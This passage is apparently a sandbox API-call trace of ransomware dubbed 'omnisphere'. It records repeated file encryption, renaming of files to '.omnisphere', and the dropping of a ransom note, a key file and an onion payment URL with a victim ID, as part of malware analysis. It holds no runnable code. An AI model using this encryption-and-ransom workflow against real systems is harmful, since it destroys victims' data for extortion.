pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0082.379] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0082.379] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0082.379] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0082.379] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0082.379] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0082.379] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0082.379] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0082.379] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0082.379] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0082.379] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0082.379] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0082.379] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0082.379] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0082.379] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0082.379] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0082.379] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0082.380] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0082.380] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0082.380] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0082.380] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0082.380] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0082.380] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0082.380] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0082.383] CryptDestroyKey (hKey=0x16396a8) returned 1 [0082.383] CryptReleaseContext (hProv=0x1668ac0, dwFlags=0x0) returned 1 [0082.383] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x1f000, lpNewFilePointer=0x0, dwMoveMethod=0x3e0dcbc | out: lpNewFilePointer=0x0) returned 1 [0082.383] WriteFile (in: hFile=0x3a0, lpBuffer=0x3e0d770*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0dcd0, lpOverlapped=0x0 | out: lpBuffer=0x3e0d770*, lpNumberOfBytesWritten=0x3e0dcd0*=0x524, lpOverlapped=0x0) returned 1 [0082.384] GetProcessHeap () returned 0x1600000 [0082.384] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x296) returned 0x16364b0 [0082.384] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Access\\System.mdw" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\access\\system.mdw"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Access\\System.mdw.omnisphere" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\access\\system.mdw.omnisphere")) returned 1 [0082.388] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Access\\System.mdw.omnisphere", lpString2=".id" | out: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Access\\System.mdw.omnisphere.id") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Access\\System.mdw.omnisphere.id" [0082.388] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Access\\System.mdw.omnisphere.id" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\access\\system.mdw.omnisphere.id"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x288 [0082.440] WriteFile (in: hFile=0x288, lpBuffer=0x3e0d770*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0d758, lpOverlapped=0x0 | out: lpBuffer=0x3e0d770*, lpNumberOfBytesWritten=0x3e0d758*=0x524, lpOverlapped=0x0) returned 1 [0082.442] CloseHandle (hObject=0x288) returned 1 [0082.443] UnmapViewOfFile (lpBaseAddress=0x3490000) returned 1 [0082.444] CloseHandle (hObject=0x28c) returned 1 [0082.444] SetEndOfFile (hFile=0x3a0) returned 1 [0082.444] FlushFileBuffers (hFile=0x3a0) returned 1 [0082.691] CloseHandle (hObject=0x3a0) returned 1 [0082.691] PathRemoveFileSpecW (in: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Access\\System.mdw" | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Access") returned 1 [0082.691] GetProcessHeap () returned 0x1600000 [0082.691] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x515) returned 0x1637218 [0082.691] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0082.692] GetProcessHeap () returned 0x1600000 [0082.692] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x1f) returned 0x165f1e8 [0082.692] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x165f1e8, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="http://uu6issmbncd3wjkm.onion/", lpUsedDefaultChar=0x0) returned 30 [0082.692] lstrcatA (in: lpString1="", lpString2="http://uu6issmbncd3wjkm.onion/" | out: lpString1="http://uu6issmbncd3wjkm.onion/") returned="http://uu6issmbncd3wjkm.onion/" [0082.692] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0082.692] GetProcessHeap () returned 0x1600000 [0082.692] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x11) returned 0x162f7b0 [0082.692] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x162f7b0, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RHPZ2AXYR2V4JCIV", lpUsedDefaultChar=0x0) returned 16 [0082.692] lstrcatA (in: lpString1="http://uu6issmbncd3wjkm.onion/", lpString2="RHPZ2AXYR2V4JCIV" | out: lpString1="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV") returned="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV" [0082.692] GetProcessHeap () returned 0x1600000 [0082.692] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xa0) returned 0x1656580 [0082.692] PathCombineW (in: pszDest=0x1656580, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Access", pszFile="!DECRYPT_OMNISPHERE.txt" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Access\\!DECRYPT_OMNISPHERE.txt") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Access\\!DECRYPT_OMNISPHERE.txt" [0082.692] GetProcessHeap () returned 0x1600000 [0082.692] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x589) returned 0x16801d8 [0082.693] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Access\\!DECRYPT_OMNISPHERE.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\access\\!decrypt_omnisphere.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0082.693] WriteFile (in: hFile=0x3a0, lpBuffer=0x16801d8*, nNumberOfBytesToWrite=0x588, lpNumberOfBytesWritten=0x3e0dcf0, lpOverlapped=0x0 | out: lpBuffer=0x16801d8*, lpNumberOfBytesWritten=0x3e0dcf0*=0x588, lpOverlapped=0x0) returned 1 [0082.693] CloseHandle (hObject=0x3a0) returned 1 [0082.694] GetProcessHeap () returned 0x1600000 [0082.694] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x1637218 | out: hHeap=0x1600000) returned 1 [0082.694] GetProcessHeap () returned 0x1600000 [0082.694] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x96) returned 0x165e368 [0082.694] PathCombineW (in: pszDest=0x165e368, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Access", pszFile="unique_decrypt.key" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Access\\unique_decrypt.key") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Access\\unique_decrypt.key" [0082.694] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Access\\unique_decrypt.key" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\access\\unique_decrypt.key"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0082.694] WriteFile (in: hFile=0x3a0, lpBuffer=0x1647c78*, nNumberOfBytesToWrite=0x5a0, lpNumberOfBytesWritten=0x3e0dd04, lpOverlapped=0x0 | out: lpBuffer=0x1647c78*, lpNumberOfBytesWritten=0x3e0dd04*=0x5a0, lpOverlapped=0x0) returned 1 [0082.694] CloseHandle (hObject=0x3a0) returned 1 [0082.694] GetProcessHeap () returned 0x1600000 [0082.694] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x165e368 | out: hHeap=0x1600000) returned 1 [0082.694] GetProcessHeap () returned 0x1600000 [0082.694] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x1633408 | out: hHeap=0x1600000) returned 1 [0082.694] FindNextFileW (in: hFindFile=0x1639b68, lpFindFileData=0x3e0dfa0 | out: lpFindFileData=0x3e0dfa0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3387db8b, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x3387db8b, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0x338a3dd1, ftLastWriteTime.dwHighDateTime=0x1d327b6, nFileSizeHigh=0x0, nFileSizeLow=0x1f000, dwReserved0=0x0, dwReserved1=0xdb, cFileName="System.mdw", cAlternateFileName="")) returned 0 [0082.694] FindClose (in: hFindFile=0x1639b68 | out: hFindFile=0x1639b68) returned 1 [0082.695] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Access\\*", lpFindFileData=0x3e0dd50 | out: lpFindFileData=0x3e0dd50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3385793c, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x123bfd72, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x123bfd72, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x165fbe0, dwReserved1=0x1600000, cFileName=".", cAlternateFileName="")) returned 0x16394e8 [0082.695] FindNextFileW (in: hFindFile=0x16394e8, lpFindFileData=0x3e0dd50 | out: lpFindFileData=0x3e0dd50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3385793c, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x123bfd72, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x123bfd72, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x165fbe0, dwReserved1=0x1600000, cFileName="..", cAlternateFileName="")) returned 1 [0082.695] FindNextFileW (in: hFindFile=0x16394e8, lpFindFileData=0x3e0dd50 | out: lpFindFileData=0x3e0dd50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x120c4d98, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x120c4d98, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x126223e8, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x588, dwReserved0=0x165fbe0, dwReserved1=0x1600000, cFileName="!DECRYPT_OMNISPHERE.txt", cAlternateFileName="!DECRY~1.TXT")) returned 1 [0082.695] FindNextFileW (in: hFindFile=0x16394e8, lpFindFileData=0x3e0dd50 | out: lpFindFileData=0x3e0dd50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x33c5d8bc, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x33c5d8bc, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0x11f6d8b6, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x31524, dwReserved0=0x165fbe0, dwReserved1=0x1600000, cFileName="AccessCache.accdb.omnisphere", cAlternateFileName="ACCESS~1.OMN")) returned 1 [0082.695] FindNextFileW (in: hFindFile=0x16394e8, lpFindFileData=0x3e0dd50 | out: lpFindFileData=0x3e0dd50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11f476cc, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x11f476cc, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x11f6d8b6, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x524, dwReserved0=0x165fbe0, dwReserved1=0x1600000, cFileName="AccessCache.accdb.omnisphere.id", cAlternateFileName="ACCESS~1.ID")) returned 1 [0082.695] FindNextFileW (in: hFindFile=0x16394e8, lpFindFileData=0x3e0dd50 | out: lpFindFileData=0x3e0dd50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3387db8b, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x3387db8b, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0x123bfd72, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x1f524, dwReserved0=0x165fbe0, dwReserved1=0x1600000, cFileName="System.mdw.omnisphere", cAlternateFileName="SYSTEM~1.OMN")) returned 1 [0082.695] FindNextFileW (in: hFindFile=0x16394e8, lpFindFileData=0x3e0dd50 | out: lpFindFileData=0x3e0dd50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x123bfd72, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x123bfd72, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x123bfd72, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x524, dwReserved0=0x165fbe0, dwReserved1=0x1600000, cFileName="System.mdw.omnisphere.id", cAlternateFileName="SYSTEM~1.ID")) returned 1 [0082.695] FindNextFileW (in: hFindFile=0x16394e8, lpFindFileData=0x3e0dd50 | out: lpFindFileData=0x3e0dd50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x120c4d98, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x120c4d98, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x126223e8, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x5a0, dwReserved0=0x165fbe0, dwReserved1=0x1600000, cFileName="unique_decrypt.key", cAlternateFileName="UNIQUE~1.KEY")) returned 1 [0082.695] FindNextFileW (in: hFindFile=0x16394e8, lpFindFileData=0x3e0dd50 | out: lpFindFileData=0x3e0dd50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x120c4d98, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x120c4d98, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x126223e8, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x5a0, dwReserved0=0x165fbe0, dwReserved1=0x1600000, cFileName="unique_decrypt.key", cAlternateFileName="UNIQUE~1.KEY")) returned 0 [0082.695] FindClose (in: hFindFile=0x16394e8 | out: hFindFile=0x16394e8) returned 1 [0082.695] GetProcessHeap () returned 0x1600000 [0082.695] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x163f980 | out: hHeap=0x1600000) returned 1 [0082.695] GetProcessHeap () returned 0x1600000 [0082.695] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x165fbe8 | out: hHeap=0x1600000) returned 1 [0082.695] FindNextFileW (in: hFindFile=0x1639768, lpFindFileData=0x3e0e24c | out: lpFindFileData=0x3e0e24c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x208511b9, ftCreationTime.dwHighDateTime=0x1d327b4, ftLastAccessTime.dwLowDateTime=0x208511b9, ftLastAccessTime.dwHighDateTime=0x1d327b4, ftLastWriteTime.dwLowDateTime=0x208511b9, ftLastWriteTime.dwHighDateTime=0x1d327b4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AddIns", cAlternateFileName="")) returned 1 [0082.695] GetProcessHeap () returned 0x1600000 [0082.695] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x70) returned 0x165fbe8 [0082.695] PathCombineW (in: pszDest=0x165fbe8, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft", pszFile="AddIns" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\AddIns") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\AddIns" [0082.695] GetProcessHeap () returned 0x1600000 [0082.695] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x74) returned 0x163f700 [0082.696] PathCombineW (in: pszDest=0x163f700, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\AddIns", pszFile="*" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\AddIns\\*") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\AddIns\\*" [0082.696] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\AddIns\\*", lpFindFileData=0x3e0dfa0 | out: lpFindFileData=0x3e0dfa0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x208511b9, ftCreationTime.dwHighDateTime=0x1d327b4, ftLastAccessTime.dwLowDateTime=0x208511b9, ftLastAccessTime.dwHighDateTime=0x1d327b4, ftLastWriteTime.dwLowDateTime=0x208511b9, ftLastWriteTime.dwHighDateTime=0x1d327b4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xdb, cFileName=".", cAlternateFileName="")) returned 0x16394e8 [0082.696] FindNextFileW (in: hFindFile=0x16394e8, lpFindFileData=0x3e0dfa0 | out: lpFindFileData=0x3e0dfa0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x208511b9, ftCreationTime.dwHighDateTime=0x1d327b4, ftLastAccessTime.dwLowDateTime=0x208511b9, ftLastAccessTime.dwHighDateTime=0x1d327b4, ftLastWriteTime.dwLowDateTime=0x208511b9, ftLastWriteTime.dwHighDateTime=0x1d327b4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xdb, cFileName="..", cAlternateFileName="")) returned 1 [0082.696] FindNextFileW (in: hFindFile=0x16394e8, lpFindFileData=0x3e0dfa0 | out: lpFindFileData=0x3e0dfa0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x208511b9, ftCreationTime.dwHighDateTime=0x1d327b4, ftLastAccessTime.dwLowDateTime=0x208511b9, ftLastAccessTime.dwHighDateTime=0x1d327b4, ftLastWriteTime.dwLowDateTime=0x208511b9, ftLastWriteTime.dwHighDateTime=0x1d327b4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xdb, cFileName="..", cAlternateFileName="")) returned 0 [0082.696] FindClose (in: hFindFile=0x16394e8 | out: hFindFile=0x16394e8) returned 1 [0082.696] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\AddIns\\*", lpFindFileData=0x3e0dd50 | out: lpFindFileData=0x3e0dd50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x208511b9, ftCreationTime.dwHighDateTime=0x1d327b4, ftLastAccessTime.dwLowDateTime=0x208511b9, ftLastAccessTime.dwHighDateTime=0x1d327b4, ftLastWriteTime.dwLowDateTime=0x208511b9, ftLastWriteTime.dwHighDateTime=0x1d327b4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x165fbe0, dwReserved1=0x1600000, cFileName=".", cAlternateFileName="")) returned 0x16395e8 [0082.696] FindNextFileW (in: hFindFile=0x16395e8, lpFindFileData=0x3e0dd50 | out: lpFindFileData=0x3e0dd50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x208511b9, ftCreationTime.dwHighDateTime=0x1d327b4, ftLastAccessTime.dwLowDateTime=0x208511b9, ftLastAccessTime.dwHighDateTime=0x1d327b4, ftLastWriteTime.dwLowDateTime=0x208511b9, ftLastWriteTime.dwHighDateTime=0x1d327b4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x165fbe0, dwReserved1=0x1600000, cFileName="..", cAlternateFileName="")) returned 1 [0082.696] FindNextFileW (in: hFindFile=0x16395e8, lpFindFileData=0x3e0dd50 | out: lpFindFileData=0x3e0dd50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x208511b9, ftCreationTime.dwHighDateTime=0x1d327b4, ftLastAccessTime.dwLowDateTime=0x208511b9, ftLastAccessTime.dwHighDateTime=0x1d327b4, ftLastWriteTime.dwLowDateTime=0x208511b9, ftLastWriteTime.dwHighDateTime=0x1d327b4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x165fbe0, dwReserved1=0x1600000, cFileName="..", cAlternateFileName="")) returned 0 [0082.696] FindClose (in: hFindFile=0x16395e8 | out: hFindFile=0x16395e8) returned 1 [0082.697] GetProcessHeap () returned 0x1600000 [0082.697] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x163f700 | out: hHeap=0x1600000) returned 1 [0082.697] GetProcessHeap () returned 0x1600000 [0082.697] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x165fbe8 | out: hHeap=0x1600000) returned 1 [0082.697] FindNextFileW (in: hFindFile=0x1639768, lpFindFileData=0x3e0e24c | out: lpFindFileData=0x3e0e24c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2d0f124, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x2d0f124, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0x2d35364, ftLastWriteTime.dwHighDateTime=0x1d327b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Bibliography", cAlternateFileName="BIBLIO~1")) returned 1 [0082.697] GetProcessHeap () returned 0x1600000 [0082.697] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x7c) returned 0x1668570 [0082.697] PathCombineW (in: pszDest=0x1668570, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft", pszFile="Bibliography" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Bibliography") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Bibliography" [0082.697] GetProcessHeap () returned 0x1600000 [0082.697] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x80) returned 0x1668f88 [0082.697] PathCombineW (in: pszDest=0x1668f88, 